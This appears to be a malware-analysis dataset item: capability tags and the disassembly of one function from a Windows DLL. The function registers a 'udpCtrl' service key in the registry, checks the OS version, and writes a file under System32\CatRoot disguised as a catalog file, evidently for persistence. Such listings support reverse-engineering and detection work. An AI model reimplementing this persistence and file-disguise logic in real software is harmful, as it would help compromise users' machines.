Function at 0x180035bb4
Capabilities:
Check os version
Persist via windows service
Set registry value
Write file on windows

Disassembly:
mov r11, rsp
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x6e0
mov qword [rsp + 0xe8], 0xfffffffffffffffe
mov qword [r11 + 8], rbx
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x6d0], rax
mov rbp, r9
mov qword [rsp + 0x80], r9
mov r15, r8
mov r14, rdx
mov qword [rsp + 0xe0], rdx
mov qword [r11 - 0x628], r9
xor r12d, r12d
mov ebx, r12d
lea esi, [r12 + 2]
mov dword [rsp + 0x68], esi
mov word [r11 - 0x468], r12w
mov edi, 0x206
mov r8, rdi
xor edx, edx
lea rcx, [r11 - 0x466]
call fcn.180054ba0
mov word [rsp + 0x4c0], r12w
mov r8, rdi
xor edx, edx
lea rcx, [rsp + 0x4c2]
call fcn.180054ba0
lea r8, str.nevaee
lea rdx, [0x180085564]
lea rcx, [rsp + 0x4c0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x40], rdx
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSet_servicesudpCtrl
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea r13d, [r12 + 1]
cmp eax, r12d
jne 0x180035d4d
mov r9d, esi
lea edx, [rsi + 6]
lea r8d, [r12 + 4]
lea rcx, [rsp + 0x2b0]
call fcn.18003ba70
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x2b0]
repne scasw ax, word [rdi]
not rcx
sub rcx, r13
add ecx, ecx
mov dword [rsp + 0x28], ecx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor r8d, r8d
lea rdx, [rsp + 0x4c0]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp eax, r12d
jne 0x180035d3f
lea r8, [rsp + 0x2b0]
lea rdx, str.._s
lea rcx, [0x1800a4390]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, r12d
mov dword [rsp + 0x64], r12d
mov dword [rsp + 0x88], r12d
mov dword [rsp + 0x78], r12d
lea rcx, [0x180085570]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp rax, r12
jne 0x180035d86
lea rcx, [0x180085570]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp rax, r12
je 0x180035db2
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp rax, r12
je 0x180035db2
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x64]
call rax
mov edi, r13d
mov dword [rsp + 0x120], 0x11c
lea rcx, [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp eax, r12d
je 0x1800362a9
movzx eax, word [rsp + 0x124]
cmp edi, r12d
cmovne ax, word [rsp + 0x64]
cmp ax, 5
jle 0x1800362a9
lea rdx, str.C:WindowsSystem32drivers_
lea rcx, [rsp + 0xc0]
call fcn.180012418
nop
mov rax, qword [r15 + 0x28]
mov rcx, qword [rax]
mov qword [rsp + 0xd8], rcx
mov rax, qword [r15]
mov qword [rsp + 0xd0], rax
movaps xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0x100], xmm0
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x100]
mov rcx, r15
call fcn.18003a44c
nop
mov rdx, qword [rsp + 0xc0]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
cmp eax, r12d
jg 0x180035e6c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call fcn.18001dda4
mov rdi, rax
mov qword [rsp + 0x98], r12
mov dword [rsp + 0x60], r12d
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x90], rax
xor r9d, r9d
lea edx, [r9 + 6]
lea r8d, [r9 + 4]
lea rcx, [rsp + 0x240]
call fcn.18003ba70
lea r8, [rsp + 0x240]
lea rdx, str.C:WindowsSystem32CatRootF750E6C3_38EE_11D1_85E5_00C04FC295EE_s.cat
lea rcx, [rsp + 0x90]
call fcn.180001a50
lea r11, [rsp + 0x60]
mov qword [rsp + 0x20], r11
lea r9, [rsp + 0x98]
lea r8, [0x180085808]
mov edx, 0x8c
mov rcx, rdi
call fcn.180035b18
cmp eax, r12d
je 0x180035f93
mov rsi, qword [rsp + 0x98]
cmp rsi, r12
je 0x180035f93
mov edi, dword [rsp + 0x60]
cmp edi, r12d
jbe 0x180035f93
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180035f54
mov ebx, r12d
jmp 0x180035f93
mov dword [rsp + 0x58], r12d
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x58]
mov r8d, edi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, r12d
jne 0x180035f7c
mov ebx, r12d
jmp 0x180035f93
cmp dword [rsp + 0x58], edi
je 0x180035f87
mov ebx, r12d
jmp 0x180035f93
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, r13d
cmp dword [rsp + 0x740], r12d
je 0x18003606d
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xc8], rax
mov rdx, qword [rbp]
lea rcx, [rsp + 0xc8]
call fcn.180002840
mov qword [rsp + 0xa0], r12
mov dword [rsp + 0x5c], r12d
lea rdx, [0x18007f59c]
lea rcx, [rsp + 0x110]
call fcn.180012620
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa0]
mov r8d, r13d
xor edx, edx
mov rdi, qword [rsp + 0xc8]
mov rcx, rdi
call fcn.18003b480
mov rsi, qword [rsp + 0xa0]
cmp rsi, r12
je 0x180036048
mov edx, dword [rsp + 0x5c]
cmp edx, r12d
jle 0x180036048
mov r8, r15
mov rcx, rsi
call fcn.18003590c
mov ebx, eax
mov rcx, rsi
call fcn.1800529c4
nop
lea rdx, [rdi - 0x18]
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
dec ecx
cmp ecx, r12d
jg 0x180036260
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x180036260
call fcn.18001dda4
mov qword [rsp + 0x70], r12
mov dword [rsp + 0x50], r12d
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea r8, [0x180085808]
mov edx, 0x82
mov rcx, rax
call fcn.180035b18
mov r12d, dword [rsp + 0x50]
mov r13, qword [rsp + 0x70]
test eax, eax
je 0x1800360c7
test r13, r13
je 0x1800360c7
test r12d, r12d
je 0x1800360c7
mov r8, r15
mov edx, r12d
mov rcx, r13
call fcn.18003590c
mov ebx, eax
test ebx, ebx
jne 0x18003625d
mov rax, qword [r14 + 0x28]
mov rbp, qword [rax]
mov rsi, qword [r14]
mov rdi, qword [r14 + 0x28]
test rsi, rsi
je 0x1800360e7
cmp rsi, qword [r14]
je 0x1800360ec
call fcn.1800536ac
cmp rbp, rdi
je 0x180036250
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xa8], rax
test rsi, rsi
jne 0x180036120
call fcn.1800536ac
xor edx, edx
jmp 0x180036123
mov rdx, qword [rsi]
cmp rbp, qword [rdx + 0x28]
jne 0x18003612e
call fcn.1800536ac
mov rdx, qword [rbp + 0x10]
lea rcx, [rsp + 0xa8]
call fcn.180002840
and qword [rsp + 0xb8], 0
and dword [rsp + 0x54], 0
lea rdx, [0x18007f59c]
lea rcx, [rsp + 0xd0]
call fcn.180012620
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x54]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb8]
xor edx, edx
lea r8d, [rdx + 1]
mov rdi, qword [rsp + 0xa8]
mov rcx, rdi
call fcn.18003b480
mov r14, qword [rsp + 0xb8]
test r14, r14
je 0x1800361c9
cmp dword [rsp + 0x54], 0
jle 0x1800361c4
mov r8, r15
mov edx, r12d
mov rcx, r13
call fcn.18003590c
mov ebx, eax
mov rcx, r14
call fcn.1800529c4
xor r12d, r12d
cmp ebx, r12d
jne 0x180036220
jmp 0x1800361cc
xor r12d, r12d
jmp 0x1800361cc
xor r12d, r12d
lea rdx, [rdi - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
cmp eax, r12d
jg 0x1800361e8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
cmp rsi, r12
jne 0x1800361f7
call fcn.1800536ac
mov rdx, r12
jmp 0x1800361fa
mov rdx, qword [rsi]
cmp rbp, qword [rdx + 0x28]
jne 0x180036205
call fcn.1800536ac
mov rbp, qword [rbp]
mov r13, qword [rsp + 0x70]
mov r12d, dword [rsp + 0x50]
mov r14, qword [rsp + 0xe0]
jmp 0x1800360d9
lea rdx, [rdi - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
cmp eax, r12d
jg 0x180036246
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbp, qword [rsp + 0x80]
jmp 0x180036260
mov rbp, qword [rsp + 0x80]
jmp 0x180036260
mov rbp, qword [rsp + 0x80]
xor r12d, r12d
jmp 0x180036260
xor r12d, r12d
mov rdx, qword [rsp + 0x90]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
cmp eax, r12d
jg 0x180036285
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp]
sub rdx, 0x18
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
cmp eax, r12d
jg 0x1800362a5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, ebx
jmp 0x1800362cb
mov rdx, qword [rbp]
sub rdx, 0x18
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
cmp eax, r12d
jg 0x1800362c9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
mov rcx, qword [rsp + 0x6d0]
xor rcx, rsp
call fcn.1800520e0
mov rbx, qword [rsp + 0x720]
add rsp, 0x6e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret